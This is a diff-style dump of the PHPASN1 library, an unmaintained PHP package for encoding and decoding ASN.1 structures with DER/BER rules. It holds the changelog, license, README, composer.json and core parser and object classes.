* replace obsolete `FG\ASN1\Exception\GeneralException` with `\Exception`
* `Construct` (`Sequence`, `Set`) does now implement `ArrayAccess`, `Countable` and `Iterator` so its easier to use
* add [`TemplateParser`][11]
+19
View File
@@ -0,0 +1,19 @@
Copyright (c) 2012-2015 Friedrich Große <friedrich.grosse@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+169
View File
@@ -0,0 +1,169 @@
PHPASN1
=======
[![Build Status](https://github.com/fgrosse/PHPASN1/actions/workflows/phpunit.yml/badge.svg)](https://github.com/fgrosse/PHPASN1/actions/workflows/phpunit.yml)
[![PHP 7 ready](http://php7ready.timesplinter.ch/fgrosse/PHPASN1/badge.svg)](https://travis-ci.org/fgrosse/PHPASN1)
[![Coverage Status](https://coveralls.io/repos/fgrosse/PHPASN1/badge.svg?branch=master&service=github)](https://coveralls.io/github/fgrosse/PHPASN1?branch=master)
[![Latest Stable Version](https://poser.pugx.org/fgrosse/phpasn1/v/stable.png)](https://packagist.org/packages/fgrosse/phpasn1)
[![Total Downloads](https://poser.pugx.org/fgrosse/phpasn1/downloads.png)](https://packagist.org/packages/fgrosse/phpasn1)
[![Latest Unstable Version](https://poser.pugx.org/fgrosse/phpasn1/v/unstable.png)](https://packagist.org/packages/fgrosse/phpasn1)
[![License](https://poser.pugx.org/fgrosse/phpasn1/license.png)](https://packagist.org/packages/fgrosse/phpasn1)
---
<h2><span style="color:red">Notice: This library is no longer actively maintained!</span></h2>
If you are currently using PHPASN1, this might not be an immediate problem for you, since this library was always rather stable.
However, you are advised to migrate to alternative packages to ensure that your applications remain functional also with newer PHP versions.
---
A PHP Framework that allows you to encode and decode arbitrary [ASN.1][3] structures
using the [ITU-T X.690 Encoding Rules][4].
This encoding is very frequently used in [X.509 PKI environments][5] or the communication between heterogeneous computer systems.
The API allows you to encode ASN.1 structures to create binary data such as certificate
signing requests (CSR), X.509 certificates or certificate revocation lists (CRL).
PHPASN1 can also read [BER encoded][6] binary data into separate PHP objects that can be manipulated by the user and reencoded afterwards.
The **changelog** can now be found at [CHANGELOG.md](CHANGELOG.md).
## Dependencies
PHPASN1 requires at least `PHP 7.0` and either the `gmp` or `bcmath` extension.
Support for older PHP versions (i.e. PHP 5.6) was dropped starting with `v2.0`.
If you must use an outdated PHP version consider using [PHPASN v1.5][13].
For the loading of object identifier names directly from the web [curl][7] is used.
## Installation
The preferred way to install this library is to rely on [Composer][2]:
```bash
$ composer require fgrosse/phpasn1
```
## Usage
### Encoding ASN.1 Structures
PHPASN1 offers you a class for each of the implemented ASN.1 universal types.
The constructors should be pretty self explanatory so you should have no big trouble getting started.
All data will be encoded using [DER encoding][8]
```php
use FG\ASN1\OID;
use FG\ASN1\Universal\Integer;
use FG\ASN1\Universal\Boolean;
use FG\ASN1\Universal\Enumerated;
use FG\ASN1\Universal\IA5String;
use FG\ASN1\Universal\ObjectIdentifier;
use FG\ASN1\Universal\PrintableString;
use FG\ASN1\Universal\Sequence;
use FG\ASN1\Universal\Set;
use FG\ASN1\Universal\NullObject;
$integer = new Integer(123456);
$boolean = new Boolean(true);
$enum = new Enumerated(1);
$ia5String = new IA5String('Hello world');
$asnNull = new NullObject();
$objectIdentifier1 = new ObjectIdentifier('1.2.250.1.16.9');
$objectIdentifier2 = new ObjectIdentifier(OID::RSA_ENCRYPTION);
$printableString = new PrintableString('Foo bar');
$sequence = new Sequence($integer, $boolean, $enum, $ia5String);
$set = new Set($sequence, $asnNull, $objectIdentifier1, $objectIdentifier2, $printableString);
$myBinary = $sequence->getBinary();
$myBinary .= $set->getBinary();
echo base64_encode($myBinary);
```
### Decoding binary data
Decoding BER encoded binary data is just as easy as encoding it:
```php
use FG\ASN1\ASNObject;
$base64String = ...
$binaryData = base64_decode($base64String);
$asnObject = ASNObject::fromBinary($binaryData);
// do stuff
```
If you already know exactly how your expected data should look like you can use the `FG\ASN1\TemplateParser`:
```php
use FG\ASN1\TemplateParser;
// first define your template
$template = [
Identifier::SEQUENCE => [
Identifier::SET => [
Identifier::OBJECT_IDENTIFIER,
Identifier::SEQUENCE => [
Identifier::INTEGER,
Identifier::BITSTRING,
]
]
]
];
// if your binary data is not matching the template you provided this will throw an `\Exception`:
$parser = new TemplateParser();
$object = $parser->parseBinary($data, $template);
// there is also a convenience function if you parse binary data from base64:
$object = $parser->parseBase64($data, $template);
```
You can use this function to make sure your data has exactly the format you are expecting.
### Navigating decoded data
All constructed classes (i.e. `Sequence` and `Set`) can be navigated by array access or using an iterator.
You can find examples
[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/Universal/SequenceTest.php#L148-148),
[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/Universal/SequenceTest.php#L121) and
[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/TemplateParserTest.php#L45).
### Give me more examples!
To see some example usage of the API classes or some generated output check out the [examples](https://github.com/fgrosse/PHPASN1/tree/master/examples).
### How do I contribute?
This project is no longer maintained and thus does not accept any new contributions.
### Thanks
To [all contributors][1] so far!
## License
This library is distributed under the [MIT License](LICENSE).
[1]: https://github.com/fgrosse/PHPASN1/graphs/contributors
[2]: https://getcomposer.org/
[3]: http://www.itu.int/ITU-T/asn1/
[4]: http://www.itu.int/ITU-T/recommendations/rec.aspx?rec=x.690
[5]: http://en.wikipedia.org/wiki/X.509
[6]: http://en.wikipedia.org/wiki/X.690#BER_encoding
[7]: http://php.net/manual/en/book.curl.php
[8]: http://en.wikipedia.org/wiki/X.690#DER_encoding
[9]: https://styleci.io
[10]: https://coveralls.io/github/fgrosse/PHPASN1
[11]: https://github.com/fgrosse/PHPASN1/blob/master/tests/ASN1/TemplateParserTest.php#L16
[12]: https://groups.google.com/d/forum/phpasn1
[13]: https://packagist.org/packages/fgrosse/phpasn1#1.5.2
+49
View File
@@ -0,0 +1,49 @@
{
"name": "fgrosse/phpasn1",
"description": "A PHP Framework that allows you to encode and decode arbitrary ASN.1 structures using the ITU-T X.690 Encoding Rules.",
"type": "library",
"homepage": "https://github.com/FGrosse/PHPASN1",
"license": "MIT",
"authors": [
{
"name": "Friedrich Große",
"email": "friedrich.grosse@gmail.com",
"homepage": "https://github.com/FGrosse",
"role": "Author"
},
{
"name": "All contributors",
"homepage": "https://github.com/FGrosse/PHPASN1/contributors"
}
],
"keywords": [ "x690", "x.690", "x.509", "x509", "asn1", "asn.1", "ber", "der", "binary", "encoding", "decoding" ],
"require": {
"php": "^7.1 || ^8.0"
},
"require-dev": {
"phpunit/phpunit": "^7.0 || ^8.0 || ^9.0",
"php-coveralls/php-coveralls": "~2.0"
},
"suggest": {
"ext-gmp": "GMP is the preferred extension for big integer calculations",
"ext-bcmath": "BCmath is the fallback extension for big integer calculations",
"phpseclib/bcmath_compat": "BCmath polyfill for servers where neither GMP nor BCmath is available",
"ext-curl": "For loading OID information from the web if they have not bee defined statically"
},
"autoload": {
"psr-4": {
"FG\\": "lib/"
}
},
"autoload-dev": {
"psr-4": {
"FG\\Test\\": "tests/"
}
},
"extra": {
"branch-alias": {
"dev-master": "2.0.x-dev"
}
}
}
+355
View File
@@ -0,0 +1,355 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
use FG\ASN1\Exception\ParserException;
use FG\ASN1\Universal\BitString;
use FG\ASN1\Universal\Boolean;
use FG\ASN1\Universal\Enumerated;
use FG\ASN1\Universal\GeneralizedTime;
use FG\ASN1\Universal\Integer;
use FG\ASN1\Universal\NullObject;
use FG\ASN1\Universal\ObjectIdentifier;
use FG\ASN1\Universal\RelativeObjectIdentifier;
use FG\ASN1\Universal\OctetString;
use FG\ASN1\Universal\Sequence;
use FG\ASN1\Universal\Set;
use FG\ASN1\Universal\UTCTime;
use FG\ASN1\Universal\IA5String;
use FG\ASN1\Universal\PrintableString;
use FG\ASN1\Universal\NumericString;
use FG\ASN1\Universal\UTF8String;
use FG\ASN1\Universal\UniversalString;
use FG\ASN1\Universal\CharacterString;
use FG\ASN1\Universal\GeneralString;
use FG\ASN1\Universal\VisibleString;
use FG\ASN1\Universal\GraphicString;
use FG\ASN1\Universal\BMPString;
use FG\ASN1\Universal\T61String;
use FG\ASN1\Universal\ObjectDescriptor;
use FG\Utility\BigInteger;
use LogicException;
/**
* Class ASNObject is the base class for all concrete ASN.1 objects.
*/
abstract class ASNObject implements Parsable
{
private $contentLength;
private $nrOfLengthOctets;
/**
* Must return the number of octets of the content part.
*
* @return int
*/
abstract protected function calculateContentLength();
/**
* Encode the object using DER encoding.
*
* @see http://en.wikipedia.org/wiki/X.690#DER_encoding
*
* @return string the binary representation of an objects value
*/
abstract protected function getEncodedValue();
/**
* Return the content of this object in a non encoded form.
* This can be used to print the value in human readable form.
*
* @return mixed
*/
abstract public function getContent();
/**
* Return the object type octet.
* This should use the class constants of Identifier.
*
* @see Identifier
*
* @return int
*/
abstract public function getType();
/**
* Returns all identifier octets. If an inheriting class models a tag with
* the long form identifier format, it MUST reimplement this method to
* return all octets of the identifier.
*
* @throws LogicException If the identifier format is long form
*
* @return string Identifier as a set of octets
*/
public function getIdentifier()
{
$firstOctet = $this->getType();
if (Identifier::isLongForm($firstOctet)) {
throw new LogicException(sprintf('Identifier of %s uses the long form and must therefor override "ASNObject::getIdentifier()".', get_class($this)));
}
return chr($firstOctet);
}
/**
* Encode this object using DER encoding.
*
* @return string the full binary representation of the complete object
*/
public function getBinary()
{
$result = $this->getIdentifier();
$result .= $this->createLengthPart();
$result .= $this->getEncodedValue();
return $result;
}
private function createLengthPart()
{
$contentLength = $this->getContentLength();
$nrOfLengthOctets = $this->getNumberOfLengthOctets($contentLength);
if ($nrOfLengthOctets == 1) {
return chr($contentLength);
} else {
// the first length octet determines the number subsequent length octets
$lengthOctets = chr(0x80 | ($nrOfLengthOctets - 1));
for ($shiftLength = 8 * ($nrOfLengthOctets - 2); $shiftLength >= 0; $shiftLength -= 8) {
$lengthOctets .= chr($contentLength >> $shiftLength);
}
return $lengthOctets;
}
}
protected function getNumberOfLengthOctets($contentLength = null)
{
if (!isset($this->nrOfLengthOctets)) {
if ($contentLength == null) {
$contentLength = $this->getContentLength();
}
$this->nrOfLengthOctets = 1;
if ($contentLength > 127) {
do { // long form
$this->nrOfLengthOctets++;
$contentLength = $contentLength >> 8;
} while ($contentLength > 0);
}
}
return $this->nrOfLengthOctets;
}
protected function getContentLength()
{
if (!isset($this->contentLength)) {
$this->contentLength = $this->calculateContentLength();
}
return $this->contentLength;
}
protected function setContentLength($newContentLength)
{
$this->contentLength = $newContentLength;
$this->getNumberOfLengthOctets($newContentLength);
}
/**
* Returns the length of the whole object (including the identifier and length octets).
*/
public function getObjectLength()
{
$nrOfIdentifierOctets = strlen($this->getIdentifier());
$contentLength = $this->getContentLength();
$nrOfLengthOctets = $this->getNumberOfLengthOctets($contentLength);
return $nrOfIdentifierOctets + $nrOfLengthOctets + $contentLength;
}
public function __toString()
{
return $this->getContent();
}
/**
* Returns the name of the ASN.1 Type of this object.
*
* @see Identifier::getName()
*/
public function getTypeName()
{
return Identifier::getName($this->getType());
}
/**
* @param string $binaryData
* @param int $offsetIndex
*
* @throws ParserException
*
* @return \FG\ASN1\ASNObject
*/
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
if (strlen($binaryData) <= $offsetIndex) {
throw new ParserException('Can not parse binary from data: Offset index larger than input size', $offsetIndex);
}
$identifierOctet = ord($binaryData[$offsetIndex]);
if (Identifier::isContextSpecificClass($identifierOctet) && Identifier::isConstructed($identifierOctet)) {
return ExplicitlyTaggedObject::fromBinary($binaryData, $offsetIndex);
}
switch ($identifierOctet) {
case Identifier::BITSTRING:
return BitString::fromBinary($binaryData, $offsetIndex);
case Identifier::BOOLEAN:
return Boolean::fromBinary($binaryData, $offsetIndex);
case Identifier::ENUMERATED:
return Enumerated::fromBinary($binaryData, $offsetIndex);
case Identifier::INTEGER:
return Integer::fromBinary($binaryData, $offsetIndex);
case Identifier::NULL:
return NullObject::fromBinary($binaryData, $offsetIndex);
case Identifier::OBJECT_IDENTIFIER:
return ObjectIdentifier::fromBinary($binaryData, $offsetIndex);
case Identifier::RELATIVE_OID:
return RelativeObjectIdentifier::fromBinary($binaryData, $offsetIndex);
case Identifier::OCTETSTRING:
return OctetString::fromBinary($binaryData, $offsetIndex);
case Identifier::SEQUENCE:
return Sequence::fromBinary($binaryData, $offsetIndex);
case Identifier::SET:
return Set::fromBinary($binaryData, $offsetIndex);
case Identifier::UTC_TIME:
return UTCTime::fromBinary($binaryData, $offsetIndex);
case Identifier::GENERALIZED_TIME:
return GeneralizedTime::fromBinary($binaryData, $offsetIndex);
case Identifier::IA5_STRING:
return IA5String::fromBinary($binaryData, $offsetIndex);
case Identifier::PRINTABLE_STRING:
return PrintableString::fromBinary($binaryData, $offsetIndex);
case Identifier::NUMERIC_STRING:
return NumericString::fromBinary($binaryData, $offsetIndex);
case Identifier::UTF8_STRING:
return UTF8String::fromBinary($binaryData, $offsetIndex);
case Identifier::UNIVERSAL_STRING:
return UniversalString::fromBinary($binaryData, $offsetIndex);
case Identifier::CHARACTER_STRING:
return CharacterString::fromBinary($binaryData, $offsetIndex);
case Identifier::GENERAL_STRING:
return GeneralString::fromBinary($binaryData, $offsetIndex);
case Identifier::VISIBLE_STRING:
return VisibleString::fromBinary($binaryData, $offsetIndex);
case Identifier::GRAPHIC_STRING:
return GraphicString::fromBinary($binaryData, $offsetIndex);
case Identifier::BMP_STRING:
return BMPString::fromBinary($binaryData, $offsetIndex);
case Identifier::T61_STRING:
return T61String::fromBinary($binaryData, $offsetIndex);
case Identifier::OBJECT_DESCRIPTOR:
return ObjectDescriptor::fromBinary($binaryData, $offsetIndex);
default:
// At this point the identifier may be >1 byte.
if (Identifier::isConstructed($identifierOctet)) {
return new UnknownConstructedObject($binaryData, $offsetIndex);
} else {
$identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex);
$lengthOfUnknownObject = self::parseContentLength($binaryData, $offsetIndex);
$offsetIndex += $lengthOfUnknownObject;
return new UnknownObject($identifier, $lengthOfUnknownObject);
}
}
}
protected static function parseIdentifier($identifierOctet, $expectedIdentifier, $offsetForExceptionHandling)
{
if (is_string($identifierOctet) || is_numeric($identifierOctet) == false) {
$identifierOctet = ord($identifierOctet);
}
if ($identifierOctet != $expectedIdentifier) {
$message = 'Can not create an '.Identifier::getName($expectedIdentifier).' from an '.Identifier::getName($identifierOctet);
throw new ParserException($message, $offsetForExceptionHandling);
}
}
protected static function parseBinaryIdentifier($binaryData, &$offsetIndex)
{
if (strlen($binaryData) <= $offsetIndex) {
throw new ParserException('Can not parse identifier from data: Offset index larger than input size', $offsetIndex);
}
$identifier = $binaryData[$offsetIndex++];
if (Identifier::isLongForm(ord($identifier)) == false) {
return $identifier;
}
while (true) {
if (strlen($binaryData) <= $offsetIndex) {
throw new ParserException('Can not parse identifier (long form) from data: Offset index larger than input size', $offsetIndex);
}
$nextOctet = $binaryData[$offsetIndex++];
$identifier .= $nextOctet;
if ((ord($nextOctet) & 0x80) === 0) {
// the most significant bit is 0 to we have reached the end of the identifier
break;
}
}
return $identifier;
}
protected static function parseContentLength(&$binaryData, &$offsetIndex, $minimumLength = 0)
{
if (strlen($binaryData) <= $offsetIndex) {
throw new ParserException('Can not parse content length from data: Offset index larger than input size', $offsetIndex);
}
$contentLength = ord($binaryData[$offsetIndex++]);
if (($contentLength & 0x80) != 0) {
// bit 8 is set -> this is the long form
$nrOfLengthOctets = $contentLength & 0x7F;
$contentLength = BigInteger::create(0x00);
for ($i = 0; $i < $nrOfLengthOctets; $i++) {
if (strlen($binaryData) <= $offsetIndex) {
throw new ParserException('Can not parse content length (long form) from data: Offset index larger than input size', $offsetIndex);
}
$contentLength = $contentLength->shiftLeft(8)->add(ord($binaryData[$offsetIndex++]));
}
if ($contentLength->compare(PHP_INT_MAX) > 0) {
throw new ParserException("Can not parse content length from data: length > maximum integer", $offsetIndex);
}
$contentLength = $contentLength->toInteger();
}
if ($contentLength < $minimumLength) {
throw new ParserException('A '.get_called_class()." should have a content length of at least {$minimumLength}. Extracted length was {$contentLength}", $offsetIndex);
}
$lenDataRemaining = strlen($binaryData) - $offsetIndex;
if ($lenDataRemaining < $contentLength) {
throw new ParserException("Content length {$contentLength} exceeds remaining data length {$lenDataRemaining}", $offsetIndex);
}
return $contentLength;
}
}
@@ -0,0 +1,136 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
use Exception;
abstract class AbstractString extends ASNObject implements Parsable
{
/** @var string */
protected $value;
private $checkStringForIllegalChars = true;
private $allowedCharacters = [];
/**
* The abstract base class for ASN.1 classes which represent some string of character.
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
}
public function getContent()
{
return $this->value;
}
protected function allowCharacter($character)
{
$this->allowedCharacters[] = $character;
}
protected function allowCharacters(...$characters)
{
foreach ($characters as $character) {
$this->allowedCharacters[] = $character;
}
}
protected function allowNumbers()
{
foreach (range('0', '9') as $char) {
$this->allowedCharacters[] = (string) $char;
}
}
protected function allowAllLetters()
{
$this->allowSmallLetters();
$this->allowCapitalLetters();
}
protected function allowSmallLetters()
{
foreach (range('a', 'z') as $char) {
$this->allowedCharacters[] = $char;
}
}
protected function allowCapitalLetters()
{
foreach (range('A', 'Z') as $char) {
$this->allowedCharacters[] = $char;
}
}
protected function allowSpaces()
{
$this->allowedCharacters[] = ' ';
}
protected function allowAll()
{
$this->checkStringForIllegalChars = false;
}
protected function calculateContentLength()
{
return strlen($this->value);
}
protected function getEncodedValue()
{
if ($this->checkStringForIllegalChars) {
$this->checkString();
}
return $this->value;
}
protected function checkString()
{
$stringLength = $this->getContentLength();
for ($i = 0; $i < $stringLength; $i++) {
if (in_array($this->value[$i], $this->allowedCharacters) == false) {
$typeName = Identifier::getName($this->getType());
throw new Exception("Could not create a {$typeName} from the character sequence '{$this->value}'.");
}
}
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
$parsedObject = new static('');
self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
$string = substr($binaryData, $offsetIndex, $contentLength);
$offsetIndex += $contentLength;
$parsedObject->value = $string;
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
public static function isValid($string)
{
$testObject = new static($string);
try {
$testObject->checkString();
return true;
} catch (Exception $exception) {
return false;
}
}
}
@@ -0,0 +1,78 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
use DateInterval;
use DateTime;
use DateTimeZone;
use Exception;
abstract class AbstractTime extends ASNObject
{
/** @var DateTime */
protected $value;
public function __construct($dateTime = null, $dateTimeZone = 'UTC')
{
if ($dateTime == null || is_string($dateTime)) {
$timeZone = new DateTimeZone($dateTimeZone);
$dateTimeObject = new DateTime($dateTime, $timeZone);
if ($dateTimeObject == false) {
$errorMessage = $this->getLastDateTimeErrors();
$className = Identifier::getName($this->getType());
throw new Exception(sprintf("Could not create %s from date time string '%s': %s", $className, $dateTime, $errorMessage));
}
$dateTime = $dateTimeObject;
} elseif (!$dateTime instanceof DateTime) {
throw new Exception('Invalid first argument for some instance of AbstractTime constructor');
}
$this->value = $dateTime;
}
public function getContent()
{
return $this->value;
}
protected function getLastDateTimeErrors()
{
$messages = '';
$lastErrors = DateTime::getLastErrors() ?: ['errors' => []];
foreach ($lastErrors['errors'] as $errorMessage) {
$messages .= "{$errorMessage}, ";
}
return substr($messages, 0, -2);
}
public function __toString()
{
return $this->value->format("Y-m-d\tH:i:s");
}
protected static function extractTimeZoneData(&$binaryData, &$offsetIndex, DateTime $dateTime)
{
$sign = $binaryData[$offsetIndex++];
$timeOffsetHours = intval(substr($binaryData, $offsetIndex, 2));
$timeOffsetMinutes = intval(substr($binaryData, $offsetIndex + 2, 2));
$offsetIndex += 4;
$interval = new DateInterval("PT{$timeOffsetHours}H{$timeOffsetMinutes}M");
if ($sign == '+') {
$dateTime->sub($interval);
} else {
$dateTime->add($interval);
}
return $dateTime;
}
}
+63
View File
@@ -0,0 +1,63 @@
<?php
namespace FG\ASN1;
use FG\Utility\BigInteger;
use InvalidArgumentException;
/**
* A base-128 decoder.
*/
class Base128
{
/**
* @param int $value
*
* @return string
*/
public static function encode($value)
{
$value = BigInteger::create($value);
$octets = chr($value->modulus(0x80)->toInteger());
$value = $value->shiftRight(7);
while ($value->compare(0) > 0) {
$octets .= chr(0x80 | $value->modulus(0x80)->toInteger());
$value = $value->shiftRight(7);
}
return strrev($octets);
}
/**
* @param string $octets
*
* @throws InvalidArgumentException if the given octets represent a malformed base-128 value or the decoded value would exceed the the maximum integer length
*
* @return int
*/
public static function decode($octets)
{
$bitsPerOctet = 7;
$value = BigInteger::create(0);
$i = 0;
while (true) {
if (!isset($octets[$i])) {
throw new InvalidArgumentException(sprintf('Malformed base-128 encoded value (0x%s).', strtoupper(bin2hex($octets)) ?: '0'));
}
$octet = ord($octets[$i++]);
$l1 = $value->shiftLeft($bitsPerOctet);
$r1 = $octet & 0x7f;
$value = $l1->add($r1);
if (0 === ($octet & 0x80)) {
break;
}
}
return (string)$value;
}
}
@@ -0,0 +1,35 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Composite;
use FG\ASN1\ASNObject;
use FG\ASN1\Universal\Sequence;
use FG\ASN1\Universal\ObjectIdentifier;
class AttributeTypeAndValue extends Sequence
{
/**
* @param ObjectIdentifier|string $objIdentifier
* @param \FG\ASN1\ASNObject $value
*/
public function __construct($objIdentifier, ASNObject $value)
{
if ($objIdentifier instanceof ObjectIdentifier == false) {
$objIdentifier = new ObjectIdentifier($objIdentifier);
}
parent::__construct($objIdentifier, $value);
}
public function __toString()
{
return $this->children[0].': '.$this->children[1];
}
}
@@ -0,0 +1,37 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Composite;
use FG\ASN1\Universal\PrintableString;
use FG\ASN1\Universal\IA5String;
use FG\ASN1\Universal\UTF8String;
class RDNString extends RelativeDistinguishedName
{
/**
* @param string|\FG\ASN1\Universal\ObjectIdentifier $objectIdentifierString
* @param string|\FG\ASN1\ASNObject $value
*/
public function __construct($objectIdentifierString, $value)
{
if (PrintableString::isValid($value)) {
$value = new PrintableString($value);
} else {
if (IA5String::isValid($value)) {
$value = new IA5String($value);
} else {
$value = new UTF8String($value);
}
}
parent::__construct($objectIdentifierString, $value);
}
}
@@ -0,0 +1,50 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Composite;
use FG\ASN1\Exception\NotImplementedException;
use FG\ASN1\ASNObject;
use FG\ASN1\Universal\Set;
class RelativeDistinguishedName extends Set
{
/**
* @param string|\FG\ASN1\Universal\ObjectIdentifier $objIdentifierString
* @param \FG\ASN1\ASNObject $value
*/
public function __construct($objIdentifierString, ASNObject $value)
{
// TODO: This does only support one element in the RelativeDistinguishedName Set but it it is defined as follows:
// RelativeDistinguishedName ::= SET SIZE (1..MAX) OF AttributeTypeAndValue
parent::__construct(new AttributeTypeAndValue($objIdentifierString, $value));
}
public function getContent()
{
/** @var \FG\ASN1\ASNObject $firstObject */
$firstObject = $this->children[0];
return $firstObject->__toString();
}
/**
* At the current version this code can not work since the implementation of Construct requires
* the class to support a constructor without arguments.
*
* @deprecated this function is not yet implemented! Feel free to submit a pull request on github
* @param string $binaryData
* @param int $offsetIndex
* @throws NotImplementedException
*/
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
throw new NotImplementedException();
}
}
+202
View File
@@ -0,0 +1,202 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
use ArrayAccess;
use ArrayIterator;
use Countable;
use FG\ASN1\Exception\ParserException;
use Iterator;
abstract class Construct extends ASNObject implements Countable, ArrayAccess, Iterator, Parsable
{
/** @var \FG\ASN1\ASNObject[] */
protected $children;
private $iteratorPosition;
/**
* @param \FG\ASN1\ASNObject[] $children the variadic type hint is commented due to https://github.com/facebook/hhvm/issues/4858
*/
public function __construct(/* HH_FIXME[4858]: variadic + strict */ ...$children)
{
$this->children = $children;
$this->iteratorPosition = 0;
}
public function getContent()
{
return $this->children;
}
#[\ReturnTypeWillChange]
public function rewind()
{
$this->iteratorPosition = 0;
}
#[\ReturnTypeWillChange]
public function current()
{
return $this->children[$this->iteratorPosition];
}
#[\ReturnTypeWillChange]
public function key()
{
return $this->iteratorPosition;
}
#[\ReturnTypeWillChange]
public function next()
{
$this->iteratorPosition++;
}
#[\ReturnTypeWillChange]
public function valid()
{
return isset($this->children[$this->iteratorPosition]);
}
#[\ReturnTypeWillChange]
public function offsetExists($offset)
{
return array_key_exists($offset, $this->children);
}
#[\ReturnTypeWillChange]
public function offsetGet($offset)
{
return $this->children[$offset];
}
#[\ReturnTypeWillChange]
public function offsetSet($offset, $value)
{
if ($offset === null) {
$offset = count($this->children);
}
$this->children[$offset] = $value;
}
#[\ReturnTypeWillChange]
public function offsetUnset($offset)
{
unset($this->children[$offset]);
}
protected function calculateContentLength()
{
$length = 0;
foreach ($this->children as $component) {
$length += $component->getObjectLength();
}
return $length;
}
protected function getEncodedValue()
{
$result = '';
foreach ($this->children as $component) {
$result .= $component->getBinary();
}
return $result;
}
public function addChild(ASNObject $child)
{
$this->children[] = $child;
}
public function addChildren(array $children)
{
foreach ($children as $child) {
$this->addChild($child);
}
}
public function __toString()
{
$nrOfChildren = $this->getNumberOfChildren();
$childString = $nrOfChildren == 1 ? 'child' : 'children';
return "[{$nrOfChildren} {$childString}]";
}
public function getNumberOfChildren()
{
return count($this->children);
}
/**
* @return \FG\ASN1\ASNObject[]
*/
public function getChildren()
{
return $this->children;
}
/**
* @return \FG\ASN1\ASNObject
*/
public function getFirstChild()
{
return $this->children[0];
}
/**
* @param string $binaryData
* @param int $offsetIndex
*
* @throws Exception\ParserException
*
* @return Construct|static
*/
#[\ReturnTypeWillChange]
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
$parsedObject = new static();
self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
$startIndex = $offsetIndex;
$children = [];
$octetsToRead = $contentLength;
while ($octetsToRead > 0) {
$newChild = ASNObject::fromBinary($binaryData, $offsetIndex);
$octetsToRead -= $newChild->getObjectLength();
$children[] = $newChild;
}
if ($octetsToRead !== 0) {
throw new ParserException("Sequence length incorrect", $startIndex);
}
$parsedObject->addChildren($children);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
#[\ReturnTypeWillChange]
public function count($mode = COUNT_NORMAL)
{
return count($this->children, $mode);
}
public function getIterator()
{
return new ArrayIterator($this->children);
}
}
@@ -0,0 +1,15 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Exception;
class NotImplementedException extends \Exception
{
}
@@ -0,0 +1,29 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Exception;
class ParserException extends \Exception
{
private $errorMessage;
private $offset;
public function __construct($errorMessage, $offset)
{
$this->errorMessage = $errorMessage;
$this->offset = $offset;
parent::__construct("ASN.1 Parser Exception at offset {$this->offset}: {$this->errorMessage}");
}
public function getOffset()
{
return $this->offset;
}
}
@@ -0,0 +1,131 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
